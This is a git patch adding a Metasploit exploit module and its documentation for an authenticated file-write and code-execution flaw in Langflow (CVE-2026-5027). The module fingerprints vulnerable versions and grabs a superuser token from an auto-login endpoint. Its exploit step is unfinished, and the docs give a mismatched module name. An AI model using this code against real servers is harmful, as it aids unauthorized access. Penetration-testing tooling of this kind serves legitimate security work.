From 968fc0e4732e8e39443f8093613a297054eb9c91 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Mon, 31 Aug 2026 20:31:05 -0400 Subject: [PATCH] Adding initial implementation and documentation --- .../http/langflow_auth_rce_cve_2026_5027.md | 48 +++++++ .../http/langflow_auth_rce_cve_2026_5027.rb | 127 ++++++++++++++++++ 2 files changed, 175 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_5027.md create mode 100644 modules/exploits/multi/http/langflow_auth_rce_cve_2026_5027.rb diff --git a/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_5027.md b/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_5027.md new file mode 100644 index 0000000000000..3a7ba7fe9d002 --- /dev/null +++ b/documentation/modules/exploit/multi/http/langflow_auth_rce_cve_2026_5027.md @@ -0,0 +1,48 @@ +## Vulnerable Application + +Langflow versions 1.8.4 and below are susceptible to authenticated remote code +execution. Due to improper input sanitization on the /api/v2/files API, malicious +actors are able to write and execute arbitrary files to a victim server. + +The vulnerability affects: + + * Langflow <= 1.8.4 + + +This module was successfully tested on: + + * Langflow 1.8.4 installed with Docker + + +### Installation +1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform. +2. Install Ubuntu Linux (or other Linux distro) in your virtualization engine. +3. Pull pre-built Langflow docker container (v1.8.4) in your VM. + `docker pull langflowai/langflow:1.8.4` +4. Start the langflow container. + + +``` +sudo docker run -d \ + --name langflow \ + -p 192.168.1.30:7860:7860 \ + --restart unless-stopped \ + langflowai/langflow:1.8.4 \ +``` + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_5027` +4. Do: `run lhost= rhost= username= password=` +5. You should get a meterpreter + + +## Options + + +## Scenarios +``` + +``` diff --git a/modules/exploits/multi/http/langflow_auth_rce_cve_2026_5027.rb b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_5027.rb new file mode 100644 index 0000000000000..1093fd2d143fe --- /dev/null +++ b/modules/exploits/multi/http/langflow_auth_rce_cve_2026_5027.rb @@ -0,0 +1,127 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Langflow AI authenticated file write and RCE', + 'Description' => %q{ + Langflow versions 1.8.4 and below are susceptible to authenticated remote code + execution. Due to improper input sanitization on the /api/v2/files API, malicious + actors are able to write and execute arbitrary files to a victim server. + }, + 'Author' => [ + 'cardosource', # ExploitDB PoC author + 'Richard Howe ' # Metasploit module author + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-5027'], + ['URL', 'https://www.exploit-db.com/exploits/52659'] + ], + 'Targets' => [ + [ + 'Python payload', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + } + ] + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => '"' + }, + 'DisclosureDate' => '2026-08-31', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + Opt::RPORT(7860), + OptString.new( + 'TARGETURI', + [true, 'Base path of the Langflow application', '/'] + ), + OptString.new( + 'USERNAME', + [true, 'Langflow username', ''] + ), + OptString.new( + 'PASSWORD', + [true, 'Langflow password', ''] + ) + ] + ) + end + + def get_token + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/api/v1/auto_login'), + 'ctype' => 'application/json' + } + ) + + return unless res && res.code == 200 + + json = res.get_json_document + return unless json.is_a?(Hash) + + json['access_token'] + end + + def check + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/version') + } + ) + + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 + + doc = res.get_json_document + version_str = doc.is_a?(Hash) ? doc['version'] : nil + return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str + + package = doc.is_a?(Hash) ? doc['package'] : nil + return Exploit::CheckCode::Unknown('Failed to identify application.') unless package + return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow' + + version = Rex::Version.new(version_str.to_s) + return Exploit::CheckCode::Unknown('Failed to parse version.') unless version + + # Vulnerable version of Langflow + return Exploit::CheckCode::Appears("Version #{version} detected, which appears vulnerable.") if version < Rex::Version.new('1.9.0') + + # Patched version of Langflow + Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") + end + + def exploit + # Get SUPERUSER token + token = get_token + + if token.to_s.empty? + fail_with(Failure::UnexpectedReply, 'Could not retrieve SUPERUSER API key from /api/v1/auto_login') + end + end +end